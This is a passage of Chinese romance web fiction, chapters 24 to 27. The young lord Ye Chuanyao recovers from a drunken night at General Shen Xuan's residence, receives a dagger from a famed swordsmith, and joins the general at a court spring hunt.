沈翾酒量极好,喝了那么多都面不改色。 话没套出来,他这个陪饮的反而倒下了…… 等等! 倒下之前,他是不是……想轻薄大将军来着? 再后来呢,他……得逞了吗? 啊啊啊啊他是疯了吗! 居然趁着醉酒占大将军便宜! 沈翾怎么没宰了他啊? 昨夜……难道是沈翾送他回房的? 那这里是客房?还是…… 叶川遥心中满是疑问。 他拾起床边叠放平整的崭新外衣,整齐穿好,又仔细洗漱过,这才伸手推开房门。 四下一望,终于知晓自己身在何处。 他竟当真宿在沈翾房里…… 初入府时,明烛曾特地叮嘱过,绝不可擅自出入紫云轩。 可他平日过来却从未有人阻拦,沈翾也不曾表现出任何不悦。 渐渐的,他便也随意起来,有事没事便来这边晃悠两圈。 可往日不论是过来用膳或是寻人,皆在前厅。 他可半步未踏入过沈翾的卧房! 而昨夜,他却在沈翾的榻上,盖着他的被子,睡了一夜…… 那沈翾呢,是否与他同塌而眠? 可曾有什么……肌肤之亲? 叶川遥越想越觉得脸热。 婢女见他神情恍惚,自当是酒还未醒,于是上前笑着道:“世子,将军命奴婢们给您准备了解酒和暖胃的吃食,您快去用吧,吃了胃里会好受些。” “哦,好,”叶川遥迷迷糊糊应下,又悄声问,“那个,昨夜……可是将军送我来这里的?” 婢女点头笑道:“是。昨夜世子醉得厉害,是将军抱您回来的。” “抱…抱回来的?” “对呀,奴婢还从未见过将军对谁如此上心过!怕您夜里难受,将军打地铺亲自守了您一夜呢!” “能得将军如此看重,世子您真是好福气啊!” “啊?” “哦呵呵…”叶川遥心不在焉挤出几声笑,“是,是好福气。” 得知未与沈翾同塌而眠,竟说不上是轻松还是失落。 不过…… 沈翾为何亲自守了他一夜? 虽快入夏,可夜里还是凉得很,打地铺怎么睡得安稳? 见他还在发呆,婢女笑道:“世子快去用早膳吧,若伤了胃,将军可是要心疼的!” “……” 叶川遥咧嘴笑笑,胡乱应了声好,便又钻回屋子里,反手将门阖上。 心跳像压不住的春雷,肆意而张狂地隆隆作响。 他昨夜居然睡在沈翾床上! 叶川遥懊恼地咬了咬唇,恨自己怎地就睡得那般死! 被大将军抱着回来,又与大将军同室而眠,可他现下竟然什么都记不起来了! 这都叫什么事啊啊啊! 正埋面烦躁着,门外传来熟悉的声音:“世子可醒了?” “醒了,世子方才出来看了眼,又回去了。奴婢不敢打扰,便在这里候着。” “嗯,先下去吧。” 话音刚落,扣门声响起。 叶川遥望着门外模糊身影,定了定心神,这才道:“进,进来吧。” 房门被推开,二人迎面而对,视线相撞。 沈翾在叶川遥略显呆怔的脸上打量一番,先开口道:“可有哪里难受?” 不知为何,明明很平常的一句话,叶川遥却感觉沈翾的语气跟从前不大一样。 似乎更随意了些,不似平日那般客气有礼。 却让人觉得更亲切。 他心里一暖,摇摇头莞尔道:“不难受,就是头有些发沉。” 沈翾走到桌子前,倒了水递给他,嗓音清透:“往后少饮酒,尤其在外面。” 叶川遥接过杯子饮了口,识相道:“哦,知道了,以后不喝了。” 在外面他自然不会让自己喝醉,他且精着呢! 嘀咕完,他顿了顿,又看着沈翾道:“那个,昨夜……是将军送我回来的?” 沈翾拂衣而坐,淡淡地嗯了声。 叶川遥坐到他身旁,抿了抿唇,须臾后又轻声问:“那我的外袍……也是将军帮我脱的?” 沈翾肩膀一僵,一边端起茶盏抿了抿,一边又嗯了声。 昨夜怕他难受,沈翾颇费了一番气力,才终于替他将那外袍脱掉。 大将军可从未做过这样的事。 行军时条件艰辛,与将士们同塌而眠并不算什么稀奇事,但解人衣袍却是第一次。 他的动作轻柔又小心,睡梦中的人丝毫未被吵醒,甚至还颇为舒坦地哼唧了两声。 想起昨夜场景,沈翾不自觉地弯了弯唇。 心中猜想得已证实,叶川遥耳尖不受控制地灼烧起来。 沈翾昨夜……是如何帮他脱掉外袍的? 自己睡得那么沉,他脱的时候,是不是得将他抱起来…… 里衣那样薄,沈翾他有没有…… 叶川遥越想越热,一时间口干舌燥。 堂堂一个大将军,怎么事事都事必躬亲的,就…不嫌麻烦吗? 那若是换了旁人,他是否也会同昨夜一般,如此耐心地照顾? 还是……只对他这般? 见叶川遥神色恍惚,脸上透着不自然的红,沈翾冷眸微眯,不确定地问:“世子这是……不记得了?” “啊?” 叶川遥恍然回神,心里和脑袋里全是一团乱。 他不好意思地笑笑:“抱歉啊,昨夜醉得太厉害,的确记不起来了。” 见沈翾冷冷地盯着自己,叶川遥眼皮抖了抖,声音不自觉地忐忑:“怎…怎么了?” 他也不想忘的啊,他比谁都想记起昨夜发生什么好吧! 不过仔细想想,沈翾动气也无可厚非。 自己辛苦照顾了一夜的人,不感恩戴德也就罢了,居然什么都不记得,换做谁都会生气的吧? 见对面面色不虞,叶川遥赶紧卖乖:“多谢将军昨夜的照顾,我都记下了,日后定好好回报将军!” “下次将军若喝醉,我也衣不解带地照顾将军,可好?” “……” 沈翾沉了沉眸子,不紧不慢地不答反问:“昨夜之事,世子当真…全然不记得了?” 叶川遥眨眨眼,被问得直发慌。 听沈翾这个语气,他昨晚该不会说了什么不该说的话,或者做了不该做的事,触到大将军逆鳞了吧? 难道他又骂人了? 可这一世他已不似从前那般恨他,就算骂两句,应该也不至于骂得太难听吧…… 叶川遥仔细回忆片刻,最终只能如实道:“其实倒也没全忘,还是记得一些的。” “哦?”沈翾抬眼,声音不冷不热,“那世子说说,还记得什么?” “嗯……”叶川遥边回忆着,边慢慢道,“我记得,我陪将军在您院中喝酒,赏花,还聊了些从前的往事。” “还记得,你说我好看。” 他说着,嘴角不自觉地扬起一抹笑。 沈翾看着他,眉眼柔和下来,静静地听他继续往下说。 叶川遥努力思索着:“再后来……” “就不记得了。” “……” 沈翾在他脸上打量片刻,瞧着那双美目下空洞迷茫的眼神不似作假。 一口气卡在胸口。 很好。 竟忘了个干净。 他压下心头无名郁火,冷声扔下一句:“还不快去用早膳,难不成还想让厨房再热上一回?” “哦,这就去嘛。”叶川遥讪讪道。 这人怎么又不高兴了。 话说他昨夜到底做什么了? 若真有冒犯之处,大不了罚他一顿就是,总好过这般阴阳怪气,让他提心吊胆。 见沈翾转身要走,叶川遥下意识拉住对方衣袖,将人留下。 “还有何事?”沈翾驻足回眸。 “将军,”叶川遥软着声音道,“昨夜醉得厉害,若有什么冒犯之处,还请将军见谅。” “您大人有大量,就别跟我一个醉鬼一般见识了,行吗?” 眼前人目光清澈,言语间轻柔讨好,端的乖巧可人,让人不忍苛责。 沈翾垂眸轻睨,脑中浮现葱白玉指自唇间划过那一刻。 意味不明道:“冒犯倒不至于。” 叶川遥闻言顿觉轻松,松开手道:“哦那就好,那我就安心了。” 他向上弯弯唇角,没心没肺道:“不管我昨夜说了什么,将军您都别放在心上,都是些醉话,不作数的!” “……” 沈翾眼底浮出冷冽寒光,盯着他问:“不作数?” 叶川遥浑身一激灵。 这眼神怎么比方才还要吓人? 不是说没有冒犯的嘛…… 沈翾冷声道:“大丈夫一言既出驷马难追,既宣之于口,又岂有收回的道理?” “……” 叶川遥甚是无语。 他不就是骂了几句,怎么说的好像许了多重要的承诺似的? 他看着沈翾,直觉告诉自己需得再解释一二。 “先前抄家时,我的确怨过将军。但这些日子将军帮我良多,如今我只感念将军恩德。” “阿遥酒醉胡言乱语,若有什么…谩骂之言,绝非出自真心,将军可千万莫要当真!” 沈翾听他小心翼翼解释一通,眸色终于缓和几分,淡淡嗯了声,算是将此事揭过。 叶川遥长舒一口气。 “对了,”他突然想起什么,用手指了指身上的月白圆领水波纹长袍。 “这是将军送我的新衣裳吗?” 沈翾将视线向下移了移,目光停顿一瞬,面无表情道:“裁衣时余下些料子,扔了可惜,他们便多做了一件。” “尺寸短了些,你穿,倒是刚好。” “……” 叶川遥皮笑肉不笑,从齿缝里硬生生地挤出几个字:“还真是多谢您了……” 得,方才心里的那点旖旎顷刻间散了个干净。 见他一副咬牙切齿的模样,沈翾终于牵了牵嘴角,嗓音愉悦道:“好了,快去用早膳,一会儿带你出府。” “出府?”叶川遥睁大眼问。 自入将军府这段时日以来,他还从未出过门。 因怕有心之人加害,沈翾不许他私自离府,他也没那个心情出去闲逛。 期间凌舟来过两趟,给他送了叔父和庄子上的消息,他也没什么可记挂的。 不知今日沈翾为何要带他出去。 见他未作声,沈翾问:“不想出门?” “想想想,当然想!”叶川遥回过神来,忙不加犹豫地点头,拉起沈翾的手臂便朝大门而去。 “那我们这便走吧!” 沈翾失笑:“急什么,先用早膳。” “哎呀还用什么早膳,”叶川遥侧眸兴奋道,“我要去买城西孟记的芙蓉酥,醉春楼的烤鸭!” “哦对了,还有红果酒酿圆子,这时候吃最好了!” 沈翾任由他拉着,嗓音不疾不徐道:“世子,我们出门,是有正事要办。” “嗯?”叶川遥闻言停下脚步,正色几分问,“什么正事?” 沈翾侧眸看过去,笑着道:“去了便知。” 第25章 二人出了将军府, 乘车沿着西市一路向东前行。 天气渐暖,街上摊贩日渐繁忙,吃食杂货聚集, 在街面绵延甚远。 马车沿街市缓缓而行,路人认出将军府车驾,纷纷靠边避让。 “许久未出门, 这临州城真是越发热闹了!” 叶川遥坐在马车里,探头瞧了会儿街上的热闹, 这才回身询问对面的人:“将军, 咱们这是要去哪儿啊?” 沈翾不紧不慢应道:“城东的剑心阁,你可听过?” “剑心阁?”叶川遥双眸一亮, “是那个擅长刀剑锻造, 铸就无数利剑的剑心阁?” “听说将军的配剑就是出自那里?” “不错, ”沈翾款款道, “剑心阁主,人称刀鬼, 此人身负独家绝学,是不可多得的铸剑奇才。” “我曾多番邀其入军营, 却始终未果。” 叶川遥闻言点点头:“有此等才华本事, 恃才傲物些倒也无可厚非。” “此人并非恃才傲物, ”沈翾意味不明地笑笑,“等你见了她, 自会知晓。” “哦,”叶川遥不明所以地应了声, “那我们今日前去,可是要买新的刀剑?” “嗯,”沈翾道, “几个月前,我托剑心阁打了两件短兵,昨日刚好。” “世子可以挑一把留作防身。” “我吗?”叶川遥闻言激动不已,满眼都放着光,“我真的可以挑吗?” “这怎么好意思呢!” 那可是剑心阁! 习武之人哪个不想拥有一件剑心阁的神兵利器。 可价格贵得离谱也就算了,每年出阁的兵器数量也是屈指可数,卖给谁更是全凭阁主心情。 实可谓可遇不可求。 沈翾睨他一眼,淡淡道:“世子既觉得为难,那便算了。” “哎别啊,”叶川遥匆忙出声,眯着眼笑着快语道,“我欠将军的太多,也不差这一件了。” “将军且记着,来日我一并报答!” 沈翾勾勾嘴角:“好,那我等着世子。” “嗯!” 叶川遥按捺不住心中欢喜,迫不及待地望着窗外。 连心心念念的点心都忘在脑后。 沈翾透过车窗看向街道,目光一顿,出声吩咐道:“停车。” “嗯?”叶川遥回过头看他,“是到了吗?” 可剑心阁不是在城东吗? 沈翾起身道:“在马车里等着,我去去便回。” 说完躬身下车,对随从道了句护好世子,便抬脚进了街边的一家铺子。 叶川遥不明所以,虽心中好奇,但也不想招惹事端,便只好在马车里乖乖等着。 不多时,沈翾提着一方食盒回来,上车后递给他。 “孟记的芙蓉酥,先垫垫,办完事再带你去买其他吃食。” 叶川遥甚为惊喜地接过食盒,打开盖子,香气瞬间溢满车厢。 “好香啊!” 他拿起一块塞进嘴里,还是熟悉的味道。 “嗯,刚出锅的果然更好吃!” 说着又拿起一块递到沈翾嘴边,眸色透亮地望着他。 “将军尝尝,味道如何?” 沈翾见他满眼期待,便低头就着他的手轻轻咬下一口。 香甜裹满舌尖。 他素日不喜甜食,这些腻人的糕点更是鲜少碰,这会儿却觉得甚是美味。 慢慢嚼了嚼,嗯了声:“确实不错。” “是吧!”叶川遥闻言开心地扬起眉眼,口若悬河道,“芙蓉酥当属孟记做得最好。” “哦,还有千层糕也不错。” “但他们家的桂花水晶蒸糕却不如徐记的软糯。” 沈翾轻笑:“你倒是对这些吃食颇有研究。” 他平日里从不关心这些,但现下听叶川遥如此说,倒觉得颇有几分趣味。 叶川遥不好意思地笑笑,自嘲道:“我一个游手好闲之人,日日碌碌无为,也只能醉心这些俗事了。” 沈翾若有所思地看向他,清声道:“人存于世,并非只有心怀天下才算有为。” “把每一日过得有滋有味,无愧于心,便不算荒废此生。” 这话有些出乎叶川遥的意料。 他点点头,嘴上笑着道:“将军说的是,日后将军若是想找什么好吃的好玩的,可以尽管问我,包君满意!” 沈翾笑道:“好。” 叶川遥嘴上说得云淡风轻,心里却沉甸甸。 他虽平日里有些娇纵,却并非胸无大志之人。 自然也想有朝一日建功立业,想同沈翾一般驰骋疆场,护得国泰民安。 他看向身旁之人,心里暗暗有了打算。 * 马车行了足有半个时辰,才终于到达剑心阁楼下。 二人下车,踏入殿内。 这剑心阁与叶川遥从前想象的大不一样。 原以为兵器铺子定是寒光凛凛,肃穆刻板,可眼前的样子却截然不同。 墙壁上虽挂满刀剑,却并不骇人,反倒整齐有致,周遭装饰琳琅满目,别有一番雅趣。 负责招待的姑娘见到二人,笑着道:“二位公子先随便瞧瞧,我这便去请阁主。” “有劳姑娘。”叶川遥莞尔道。 他在殿内环视一圈,不禁感叹道:“剑心阁果然名不虚传,如此多的神兵利器,这位刀鬼阁主可当真厉害!” 沈翾笑笑,不置可否。 不多时,一位蓝衣女子从楼上缓缓而下。 容貌艳丽,气质邪魅。 一开口更是惊世骇俗。 “真是太阳打西边出来,堂堂大将军,居然也会带着相好来我这剑心阁。” “本姑娘用了两个月,累死累活才造出来的宝贝,敢情就是替你拿来讨人欢心的?” 沈翾见怪不怪,淡淡道:“不管作何用,银两不少你便是。” “那可不行,”刀鬼哼了声,“我剑心阁可不是谁的买卖都做。” “既是赠人,那价钱自然就得另算。” 她指着柜子上的精美木匣,红唇上挑道: “一把匕首,一把短剑,一共八千两,少一文都不行。” 叶川遥还在震惊传闻中的“刀鬼”竟然是位妙龄女子,听她如此说,更是险些惊掉了下巴。 八千两! 她怎么不去抢? 就是把他卖了也不值这么多银两吧! “阁主且慢!” 叶川遥灵光一闪,眨眨眼赔笑道:“阁主误会了!” “是我仰慕剑心阁已久,所以才跟来一睹为快。” “这两件兵器并非是要赠与在下,阁主还是按原先的价钱来算便是!” 沈翾闻言看向他,似笑非笑。 小少爷这是在……替他省银子? 刀鬼走到叶川遥面前,在他脸上打量片刻,哼道:“世子小小年纪,心机倒是不少。” “这还没过门呢,就先替他省上了?” “……” 什么过门! 这这这这,说什么呢! 叶川遥红透了脸,一时哑口无言。 刀鬼勾唇一笑,懒懒地睨一眼沈翾,不紧不慢道:“我与姓沈的相识近十年,今儿可是第一次见他带人过来。” “若不是有心相赠,难不成他专程带你来,只为臭显摆?” “……” 叶川遥一时语塞,但心里头竟美美的是怎么回事…… 他压压嘴角,为了银子,索性豁出去了。 “阁主既如此说,那在下也就不瞒阁主了。” “其实我离过门……咳……也不远了。” 刀鬼:“!” 沈翾:“?” 二人表情各异,叶川遥却面不改色道:“我与将军早已情定三生,不分你我,这匕首虽是赠与我的,阁主却断不该加价才是。” “……” 沈翾终是忍不住低声轻笑。 叶川遥转过头瞪他一眼。 还笑,他这都是为了谁呀! 沈翾轻挑唇角看着他,点点头温声道:“嗯,阿遥说得极是。” “……” 刀鬼一脸嫌弃地翻了个白眼,懒地看他二人你侬我侬,幽声道:“少跟我贫,想我把你和他视作一人?” “那还是等世子真过了门再说吧!” 她说完走到沈翾面前,故意压低声音道:“大将军,你可得小心了,这长得好看的男人啊,可最会骗人了。” “你还是早些将人套牢,别哪一日一不留神,人可就飞了!” “……” 还价不成反被调侃,叶川遥抿了抿唇,闷声道:“阁主你,怎的还挑拨离间呢……” 刀鬼不禁失笑:“怎么,就这么怕他呀?” “那世子不如早日嫁过去,只要成了他沈翾的人……” “好了,”沈翾开口打断,冲刀鬼道,“银子自会给你,别逗他。” 刀鬼撇撇嘴:“呦,这便护上了?” “行吧,也是难得见你这副样子,总算有点人气儿了。” 她说完一一打开匣子,靠在柜子旁冲叶川遥道:“世子请吧。” 叶川遥看向匣子里,面露惊叹。 不愧是剑心阁打造的兵刃,果然要比寻常兵器好上百倍。 他看向沈翾,微微颔首道:“多谢将军,那我便不客气了。” 沈翾笑着嗯了声。 叶川遥拿起那柄银白匕首,刀身小巧轻薄,刀刃锋利吹毛可断,实为防身利器。 “就这个吧!”他心满意足道。 刀鬼饶有兴致地看着叶川遥,须臾后,笑着道:“世子倒是与寻常人不大一样。” “嗯?”叶川遥不解,“哪里不一样?” 刀鬼笑道:“寻常人若得他人重礼相赠,一般都会假意推辞一番,再半推半就,似实在不得已才收下。” “而世子却少了这些矫情之举,够直爽,本姑娘喜欢。” 沈翾抬眼看她,刀鬼勾唇笑笑:“好吧,最后一句收回。” 叶川遥看向沈翾,浅笑道:“将军阅人无数,颖悟绝伦,我又何需使那些弯弯绕绕,白白拂了将军好意。” 况且他那些蹩脚的小心计,又如何能真的瞒过沈翾? 刀鬼思忖着点点头:“世子倒是通透。” 叶川遥将匕首装回匣子里,爱不释手地抱在怀中,冲刀鬼道:“多谢阁主,告辞。” “将军,我们走吧。” 二人行至门口,刀鬼出声喊住叶川遥:“世子且慢。” 叶川遥驻足回眸。 刀鬼的嘴角挂着意味不明的笑:“看在世子还算讨人喜欢的份上,给世子一句忠告。” “别把他想得太好。” “这家伙啊,可是头豺狼,小心把你吃得骨头都不剩!” 叶川遥明朗一笑:“多谢阁主好意。” 沈翾若是豺狼,那他便做一只狐狸。 绝配! 第26章 二人回到府里已近晌午。 陆清玖和明烛正在前院打闹切磋。 见他们二人一同回来, 陆清玖撸起袖子胡乱抹了抹额头的汗,上前问道:“表哥,你们这是去哪了?怎么买了这么多吃食?” 叶川遥拿过随从手里的食盒, 递上前,笑着道:“都是京中一些还不错的小吃,陆公子尝尝?” “真的?” 陆清玖接过食盒, 拿起芙蓉酥塞进嘴里,边吃边点头道, “嗯, 这京中的点心果然好吃!” “多谢世子,还给我们带吃的!” 叶川遥弯唇笑笑:“陆公子喜欢便好。” 陆清玖几下吃完一块芙蓉酥, 又拿起一块, 嘴里含糊不清地问:“世子你这怀里抱的什么呀?” “哦, ”叶川遥笑着道, “这是将军送我的匕首,给我防身用的。” “哦, 看这匣子是剑心阁的吧?” 叶川遥颇感意外:“陆公子也知道剑心阁?” 陆清玖撇撇嘴:“这有何稀奇,习武之人有谁不知道剑心阁的?” “不过表哥竟然送你剑心阁的匕首, 看来是真把你当朋友!” 他说完盯着那匣子看了几眼, 越想越觉得不对。 须臾后忽地瞪眼喊道:“表哥!” “你不是说过送我剑心阁的短兵吗?” “怎么给他了?” 他气鼓鼓地嚷嚷完, 方才还香甜可口的点心瞬间变了味儿。 怪不得如此好心给他带吃的,原来是抢了他的东西! 哼, 诡计多端。 叶川遥虽不知前因后果,但从陆清玖的话里也大概明白了几分, 遂无辜地看向沈翾,等他回答。 沈翾冷眸看向陆清玖,随手一抛将手里的短剑扔过去:“你的。” 陆清玖匆忙接下, 打开剑鞘面露喜色:“真是把好剑!” “谢谢表哥!” 说完又看向叶川遥,瞪着眼问:“这该不会是你挑剩下的吧?” “……” 还挺聪明。 叶川遥看向沈翾,见他一副不以为意的模样,只好兀自解释道:“当然不是!” “是将军说,陆公子武艺超群,更合适用短剑,所以才将这短剑留给你。” 陆清玖闻言脸上爬上几分得意:“那倒是。” 说完又兴奋道:“那也给我看看你的匕首。” “行,”叶川遥大方地打开匣子,将匕首取出。 陆清玖拿在手里看了须臾,撇撇嘴道:“好刀是好刀,就是太小了点,还是我的短剑更好!” “那是自然!”叶川遥真诚附和道。 这家没他也得散。 沈翾无声笑笑,看着明烛出声道:“明日春猎,我与世子一同进宫。家中要多加防范。” “另外派人盯紧大理寺,有任何异动随时传信于我。” “是,属下领命。”明烛应道。 “表哥你要带他去春猎?”陆清玖一听又开始张牙舞爪地嚷嚷。 “凭什么啊?” “我求你那么多次你都不肯带我去,为何要带他啊!” “就他这弱不禁风的模样,去了不也是添乱嘛!” “……” 叶川遥无声叹气。 小小年纪,如此喜欢攀比可怎么好? 于是莞尔道:“我与将军自是有正事要办,陆公子年纪还小,不懂。” “你!” “好了好了,”明烛笑着按住眼看就要暴走的陆清玖,“走走走玖儿,咱们去试试你的新剑!” “可是……” “哎呀走吧,咱俩再切磋切磋!” 陆清玖被明烛拉走,院中只剩沈翾和叶川遥两人。 叶川遥轻笑:“将军,你这表弟还怪有趣的。” 沈翾沉声道:“不必理会他。” 叶川遥无所谓地笑笑,他也就是同陆清玖斗个乐子,哪里会真放在心上。 * 玉龙山上旌旗飞扬,百官齐聚,骏马嘶鸣声不绝于耳,惊起飞鸟阵阵。 皇帝与皇后端坐猎椅之上,郑贵妃临于旁侧。 几位皇子与众臣列于前,骑装裹身,整装以待。 皇帝站起身望着众人,笑着道:“今日春猎,众卿不必拘束,尽管大展身手,策马纵情。” “晚上的宴席,可就靠众爱卿了。” 季寒上前,脆声道:“父皇,若只狩猎怕少了些趣味,不如加些彩头如何?” “你啊,还是小孩子心性,”皇帝笑笑,慈声道,“也罢,寒儿所言也有些道理。” “那便以两个时辰为限,猎物最多者,赏银五千两!” 季寒面露欣喜,恭敬道:“多谢父皇。” 沈皇后莞尔一笑,将手腕之上的玉镯取下,雅声道:“那本宫也跟着凑个热闹,再多加一个彩头,为大家助兴一二。” 重臣齐道:“谢陛下,谢娘娘。” 一旁的郑贵妃红唇弯起,柔声道:“有了陛下和娘娘的彩头,今日这场围猎一定大有看头。” “寒儿,你可要努力了。” 季寒颔首:“儿臣定不让父皇母妃失望。” 他说完侧身看向身旁的季泽,语气天真道:“三哥,去年春猎是三哥拔得头筹,今年可要让一让弟弟啊!” 季泽回以微笑,温文尔雅道:“六弟说笑了。” “听闻近日六弟箭术大有精进,为兄怕早已不是六弟对手。” “哎,三哥太过谦虚了。”季寒道,“那我们便各凭本事,替父皇猎几只奇珍异兽回来!” 季泽浅笑,看不出情绪:“好。” 大盛皇帝重文轻武,却又偏爱观猎。 文臣们不擅骑射,又不敢拂了皇帝的兴致,故而不得不来凑个热闹,走个过场。 有的甚至连马都不会骑,只在一旁品茶闲聊,坐享其成。 这场比拼也就成了少数人之间的较量。 皇帝看向沈翾,淡笑道:“羿王今日可要为朕猎头黑熊回来,熊掌的滋味,朕可甚为想念啊!” 沈翾抬手见礼,面无波澜道:“臣自当尽力。” 叶川遥一身骑装跟在沈翾身后,半低着头,尽量降低存在感。 不料还是被无意间扭头的季岩一眼发现。 “阿遥?”季岩自未料到会在这里见到好友,眼睛欣然一亮,压低声音道,“你怎么来了?” 叶川遥偷偷抬头看了眼皇帝,又往沈翾身后挪了挪,露出半个脑袋,用气声对着季岩道:“一会儿再说。” 季岩无声张了张嘴:“哦,好。” “……那众爱卿便各自散去吧。” 皇帝发令,武将们纷纷骑马朝山中而去。 叶川遥亦步亦趋跟着沈翾,正欲上马,见季岩正朝自己而来,远远地喊他:“阿遥!” “殿下!” 沈翾:“……” 季岩走近,看着两人问:“阿遥,你是跟着大将军来的吗?” “嗯,”叶川遥欢快应道,“春猎此等盛事,我自然要来长长见识。” 季岩不明所以,但也未深想,只嬉皮笑脸道:“那今日你可莫要再乱走迷了路,可不是每次都能碰见有人英雄救美……唔!” 话未言尽,便被叶川遥冷不防地捂住嘴。 “……” 叶川遥冲沈翾咧了咧嘴道:“我陪殿下去那边走走,很快就回!” 随即拽起季岩的手臂快步走向不远处的林子。 沈翾的视线在季岩的手臂上停留片刻,眼里晦暗不明。 季岩被叶川遥拽到几十步开外,一脸困惑。 “阿遥你干嘛?” 叶川遥压低声音道:“殿下不要乱说话!” 季岩满脸无辜:“我乱说什么了?” 叶川遥张了张嘴,也不知该如何解释,只好道:“我同将军说,我从未来过猎场,求了许久将军才带我来的。” “殿下可别说漏了嘴。” “哦,”季岩尾音拉长道,“原来如此,我说呢。” “不过你想来跟我说一声不就行了,何需哄骗大将军?” “……” 叶川遥长叹一口气,顿觉无力。 “殿下,你究竟何时才能娶到王妃?” “嗯?”季岩没明白,“怎的扯到王妃身上了?” “我都还没急呢,你急什么?” 沈翾还在等着,叶川遥没功夫在这里同他打哑谜,干脆直截了当道:“若让殿下带我来,我还如何能与将军独处?” “哦!”季岩恍然大悟,一脸兴味道,“看不出来啊阿遥,你这人心机还不少嘛!” “可你跟沈翾那个冰块脸一起能有什么意思,还不如咱们两个玩呢!” “……” “这叫情趣,懂不懂?”叶川遥无奈道,“真是活该你娶不上王妃!” “我……”季岩语塞。 怎么还被嫌弃了? “好了快走吧,大将军还在等我呢!” 季岩:“……” 得,就他多余。 二人回到沈翾跟前,季岩笑容温和道:“大将军,那阿遥就麻烦你了。他怕野兽,尤其是熊,还请将军万万护他周全。” 沈翾不冷不热地抬眼,微微颔首道:“臣自会护好世子,不牢五殿下挂心。” 季岩笑笑,不以为意:“行,那你们一切小心。” “阿遥晚些见。” “嗯,殿下也当心。” 季岩利落地翻身上马,朝山中先行而去。 叶川遥骑马跟着沈翾,两人不紧不慢地并肩而行。 沈翾依旧惜字如金,神色淡淡,看不出在想些什么。 已临春末,山上灌木杂草丛生,猎物隐藏得极好,想要寻到并非易事。 叶川遥望了望山中景色,侧头笑问沈翾:“将军,这山中都有些什么猎物?” 沈翾双膝垂于马侧,身姿挺拔,清声道:“飞禽走兽皆有。” “那黑熊可好猎?” “熊身庞大,且凶猛狡猾,自是不好猎的。” 叶川遥点点头,不放心道:“那将军可要小心。” 沈翾想起方才季岩所言,转过头看他:“世子怕熊?” “是啊,”叶川遥羞稔一笑,“从前被黑熊伤过,之后就有些怕。” “不过既有将军在,我便不担心了,将军只管狩猎,不必顾及我。” 沈翾若有所思道:“熊虽凶猛,但若不主动招惹,一般不会轻易伤人。” “世子究竟因何被伤?” 叶川遥苦笑道:“我从熊掌下救下一只小梅花鹿,惹恼了人家,所以便被狠狠教训了一通。” 沈翾顿了顿:“可伤得厉害?” “还好,”叶川遥咧咧嘴,云淡风轻道,“只伤了手臂,养了半个月便全好了。” 伤虽不重,但疼却是真的疼。 他可最怕疼了。 说话间草丛里似有响动。 叶川遥目光方移过去,沈翾手上箭已离弦。 啼鸣声传来,是只毛色艳丽的山鸡。 叶川遥兴奋地翻身下马,几步跑远将猎物提在手中。 “射中了射中了,将军真是好箭法!” 沈翾轻笑一声。 他怎么也想不到,自己有朝一日,竟会因为射中一只野鸡而被大加赞赏。 侍卫上前将猎物拿走。 叶川遥重新上马,手中拎着弓,目光缓缓移动四下巡视,一副迫不及待跃跃欲试的模样。 不多时,一头野猪于林中出没。 叶川遥即刻将弓拉满,瞄准猎物后利箭疾射而出。 可惜,射偏了。 还不是偏了一点。 野猪受惊仓皇而逃,叶川遥叹口气,颓然道:“果然,看着简单,实际没有几年的功力根本猎不到。” 见他一脸失望,沈翾嗓音温和道:“过来。” “嗯?” “哦。”叶川遥以为沈翾要同他讲些隐秘之言,遂拽过缰绳,将马身往沈翾身旁靠了靠。 压低嗓音,神秘兮兮问:“将军想说什么?” “……” 沈翾弯弯嘴角,朝他伸出手,声音清冽:“上来。” “啊?” 叶川遥怔怔地眨眨眼,茫然地看向马上之人。 这……是他想的那个意思吗? 他思忖一瞬,恍恍惚惚握住面前的手。 布满茧的掌心略显粗糙,却饱含力道,如同沈翾这个人一般,令人心安。 沈翾大掌扣住纤长玉指,用力一提,便毫不费力将人挪到自己马上,双臂顺势圈住。 叶川遥惊魂不定堪堪坐好,后背靠在沈翾坚硬宽阔的胸前。 紧实的手臂环在腰侧,令他动弹不得。 艳阳高照,风盈密林,树梢枝桠无声摇晃,鸟鸣猿啼声戛然而止,耳畔只余一声清透。 “拿着。”沈翾将手中弓箭递到身前。 叶川遥脑中一片混沌,慌乱之下无不言行计从。 待他接过,沈翾整个掌心覆盖其上,蓄力将弓拉满。 贴在耳边低声道:“指尖不要绷紧,放松,瞄准猎物。” 他将箭头对准一只四下张望的兔子,随着目标缓缓移动。 “放!” 沉稳气息拂过耳畔,心火燎原,一发不可收。 叶川遥将箭倏地放出,紧张得额头都渗出一层薄汗。 “我,我过去看看。”他胡乱说了句,便作势下马。 沈翾这才不急不忙将手松开,好似方才只是无意之举,端的雅正磊落。 叶川遥跳下马,朝着猎物踉跄着快奔而去。 只留沈翾端坐马上轻笑。 原来小少爷也有害羞的时候。 亲人时的胆子跑哪去了? 叶川遥下马后便没敢再回头,边跑边努力平复着心绪。 太亲密了。 不过人家好心指点,他也不好太过矫情失了态,白白惹人尴尬。 他将猎到的兔子捡回来,回头笑意盈盈冲沈翾道:“多亏了将军,这还是我头一回打到猎物!” 沈翾笑笑,面不改色道:“是世子厉害。” “……” 脸上又漫出一层绯色,叶川遥轻咳两声,匆忙上马。 “走,走吧。” 第27章 直至上马, 叶川遥还有些精神恍惚,方才的旖旎在脑中一遍又一遍地循环,一时间芳心大乱。 沈翾究竟是太过端方, 故而不在意这些肌肤相贴? 还是……在故意逗他? 他转头偷偷打量身侧之人,却见对方一脸坦荡,端的一个光明磊落。 难道真是他想多了? 山涧清凉, 碧溪蜿蜒寒泉飞瀑,鱼跃鸢飞, 一片春和景明。 叶川遥甩头挥散心中困顿, 与沈翾踏马悠然而行。 比起春猎,二人倒更似前来欣赏山中美景, 再顺手带几只猎物回去罢了。 良辰美景悦人心。 虽眼下情势不明, 但难得偷得这半日悠闲, 又见青山层叠, 流水潺潺,心中自然喜不自胜。 就连沈翾一向刻板的眉眼间都漫出几分柔和。 叶川遥时不时睨向身侧之人, 不禁问道:“将军,每年春猎你都会来吗?” “这两年我不在京中, 上次来已是三年前了。”沈翾道。 “哦, ”叶川遥眼底闪过不明银光, “那……从前围猎,可曾遇到过什么有趣或者特别的事啊?” 沈翾端坐马上, 温声道:“每年春猎皆如此,无甚新鲜。” “喔, ”叶川遥神色不明地牵了牵嘴角,“是哦。” “不过,”沈翾转头看他, 笑着道,“今年倒是比从前都有趣些。” “啊?” 正思索着他话中之意,忽见季寒带着两名侍卫出现在前方不远处。 叶川遥眸色微凛,兴致顿消。 真是娶媳妇碰见送殡的,倒霉透了! 